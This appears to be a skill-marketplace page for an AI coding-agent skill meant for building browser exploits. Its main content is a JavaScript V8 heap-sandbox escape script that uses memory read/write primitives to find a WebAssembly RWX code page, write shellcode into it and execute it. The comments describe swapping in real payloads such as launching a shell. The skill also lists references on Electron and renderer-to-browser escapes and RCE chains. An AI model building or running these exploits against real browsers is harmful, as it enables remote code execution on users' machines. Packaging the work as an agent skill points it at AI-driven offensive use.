hypnguyen1209/offensive-claude / skills/browser-exploitation
browser-exploitation
VerifiedUse when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 9.6 KB |
| references/clientside-rce-chains.md | markdown | 8.6 KB |
| references/electron-webview-rce.md | markdown | 10.2 KB |
| references/renderer-to-browser-escape.md | markdown | 9.8 KB |
| references/v8-jit-typeconfusion.md | markdown | 9.3 KB |
| references/v8-sandbox-escape.md | markdown | 9.5 KB |
| scripts/chain_server.py | script | 7.7 KB |
| scripts/d8_debug.sh | script | 2.8 KB |
| scripts/electron_audit.py | script | 10.7 KB |
| scripts/mojo_fuzz_harness.py | script | 10.2 KB |
| scripts/sandbox_escape.js | script | 6.2 KB |
| scripts/v8_typer.js | script | 6.3 KB |
scripts/sandbox_escape.js
View on GitHub// sandbox_escape.js — V8 heap-sandbox escape: cage R/W -> native code execution
//
// USAGE:
// d8 --allow-natives-syntax ./v8_typer.js ./sandbox_escape.js # load primitives, then escape
// d8 --sandbox-testing-mode ./sandbox_escape.js # inspect sandbox boundaries
//
// PURPOSE:
// Consumes read64/write64 (cage-relative) from v8_typer.js and escapes the V8 heap sandbox by
// abusing a structure that still holds a RAW (non-compressed) pointer outside the cage. The
// documented modern path (Theori, 2025; in-the-wild via CVE-2023-2033/-3079) is the raw
// pointer in a WebAssembly object (e.g. WasmIndirectFunctionTable.targets) / Trusted Pointer
// Table abuse. We build an RWX Wasm code page, locate its native entry, write shellcode in,
// and call it -> native execution inside the renderer.
//
// DEPENDENCIES: v8_typer.js loaded first (provides addrof/read64/write64/f2i/i2f/hex). Object/
// trusted-pointer offsets are V8-version specific — resolve with %DebugPrint on your build.
"use strict";
// Fall back to local stubs if run standalone (lets the file parse/run under plain d8).
const _has = (n) => typeof this[n] === "function";
const addrof = _has("addrof") ? this.addrof : (o)=>0x100000n;
const read64 = _has("read64") ? this.read64 : (a)=>0x4141414141414141n;
const write64 = _has("write64") ? this.write64 : (a,v)=>{};
const f2i = _has("f2i") ? this.f2i : (f)=>{const b=new ArrayBuffer(8);new Float64Array(b)[0]=f;return new BigUint64Array(b)[0];};
const hex = _has("hex") ? this.hex : (i)=>"0x"+i.toString(16);
// ---- 1) Allocate an RWX Wasm code page -------------------------------------
// Minimal valid module exporting "main": () -> i32 { return 42; }
// Instantiating it makes V8 JIT-compile (Liftoff) into an RWX/native code region we can target.
const WASM_BYTES = new Uint8Array([
0x00,0x61,0x73,0x6d, 0x01,0x00,0x00,0x00, // \0asm, version 1
0x01,0x05,0x01, 0x60,0x00,0x01,0x7f, // type section: () -> i32
0x03,0x02,0x01,0x00, // function section: func0 : type0
0x07,0x08,0x01, 0x04,0x6d,0x61,0x69,0x6e, 0x00,0x00,// export "main" (func 0)
0x0a,0x06,0x01, 0x04,0x00, 0x41,0x2a, 0x0b, // code: body{ i32.const 42; end }
]);
function makeWasmInstance() {
const mod = new WebAssembly.Module(WASM_BYTES);
const inst = new WebAssembly.Instance(mod, {});
return inst; // inst.exports.main is backed by an RWX code page
}
// ---- 2) Locate the native code entry via the trusted/raw pointer -----------
// JSFunction(main) -> SharedFunctionInfo -> WasmExportedFunctionData (TRUSTED SPACE) -> code
// entry. On post-sandbox builds the chase goes through a Trusted Pointer Table index, not an
// inline pointer. Offsets below are PLACEHOLDERS — resolve per build (%DebugPrint, then `job`).
const JSFUNC_SFI_OFF = 0x18n; // JSFunction -> SharedFunctionInfo (compressed, in-cage)
const SFI_WEFD_OFF = 0x08n; // SharedFunctionInfo -> WasmExportedFunctionData (trusted)
const WEFD_TPT_IDX_OFF = 0x10n; // index into the Trusted Pointer Table
const WEFD_CODE_OFF = 0x18n; // (older builds) raw code entry / sig_id
function findWasmCodeEntry(mainFn) {
const fnAddr = addrof(mainFn);
const sfi = read64(fnAddr + JSFUNC_SFI_OFF) & 0xffffffffn; // compressed
const wefd = read64(sfi + SFI_WEFD_OFF) & 0xffffffffn; // compressed -> trusted obj
// On sandboxed builds: read the TPT index, then resolve the real 64-bit entry from the table.
// On older builds the raw code pointer is inline (the bug Theori abused). We show the inline
// path; for TPT builds, dereference the trusted-pointer-table entry instead.
const codeEntry = read64(wefd + WEFD_CODE_OFF); // RAW native pointer (the prize)
return codeEntry;
}
// ---- 3) x64 shellcode (replace per target/OS) ------------------------------
// Default: a tiny no-op-ish stub that returns; swap for WinExec("calc")/execve("/bin/sh") etc.
// Encoded as bytes; written into the RWX page via the native write primitive derived from the
// raw pointer (write64 is cage-relative, so we use the native-write helper below).
const SHELLCODE = new Uint8Array([
0x48,0x31,0xc0, // xor rax, rax
0xc3 // ret (REPLACE with real payload, e.g. WinExec / execve thunk)
]);
// Native write: once we have a RAW (non-cage) pointer, we still need a way to write to it. The
// raw pointer itself, written back into a controlled sandboxed object's external-pointer slot,
// gives a native R/W. This helper documents that step; wire it to your EPT/backing-store control.
function nativeWrite(rawAddr, bytes) {
// Pattern: point a fake/real Float64Array's (sandboxed) base at an EPT slot you set to rawAddr,
// OR overwrite the raw code pointer to your in-cage shellcode buffer's *native* address.
// Implementation is build-specific; left as the single wiring point for the operator.
if (typeof print === "function")
print("[*] nativeWrite(" + hex(rawAddr) + ", " + bytes.length + " bytes) — wire to your EPT/base-ptr control");
}
// ---- 4) Orchestrate --------------------------------------------------------
function escape() {
const inst = makeWasmInstance();
const main = inst.exports.main;
if (typeof print === "function") print("[*] sanity: main() = " + main()); // 42 before patch
const codeEntry = findWasmCodeEntry(main);
if (typeof print === "function") print("[*] wasm native code entry = " + hex(codeEntry));
// Either (a) overwrite codeEntry to point at an in-cage buffer holding SHELLCODE's native
// address, or (b) write SHELLCODE directly into the RWX page at codeEntry.
nativeWrite(codeEntry, SHELLCODE);
// Trigger: calling the (now patched) export runs native shellcode.
const r = main();
if (typeof print === "function")
print("[" + (r !== 42 ? "+" : "?") + "] post-patch main() = " + r +
" (differs from 42 => code page modified)");
return r;
}
if (typeof print === "function") {
print("[*] sandbox_escape: building RWX Wasm page and locating raw/trusted code pointer...");
try { escape(); }
catch (e) { print("[-] escape error (expected under plain d8 without real primitives): " + e); }
}
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |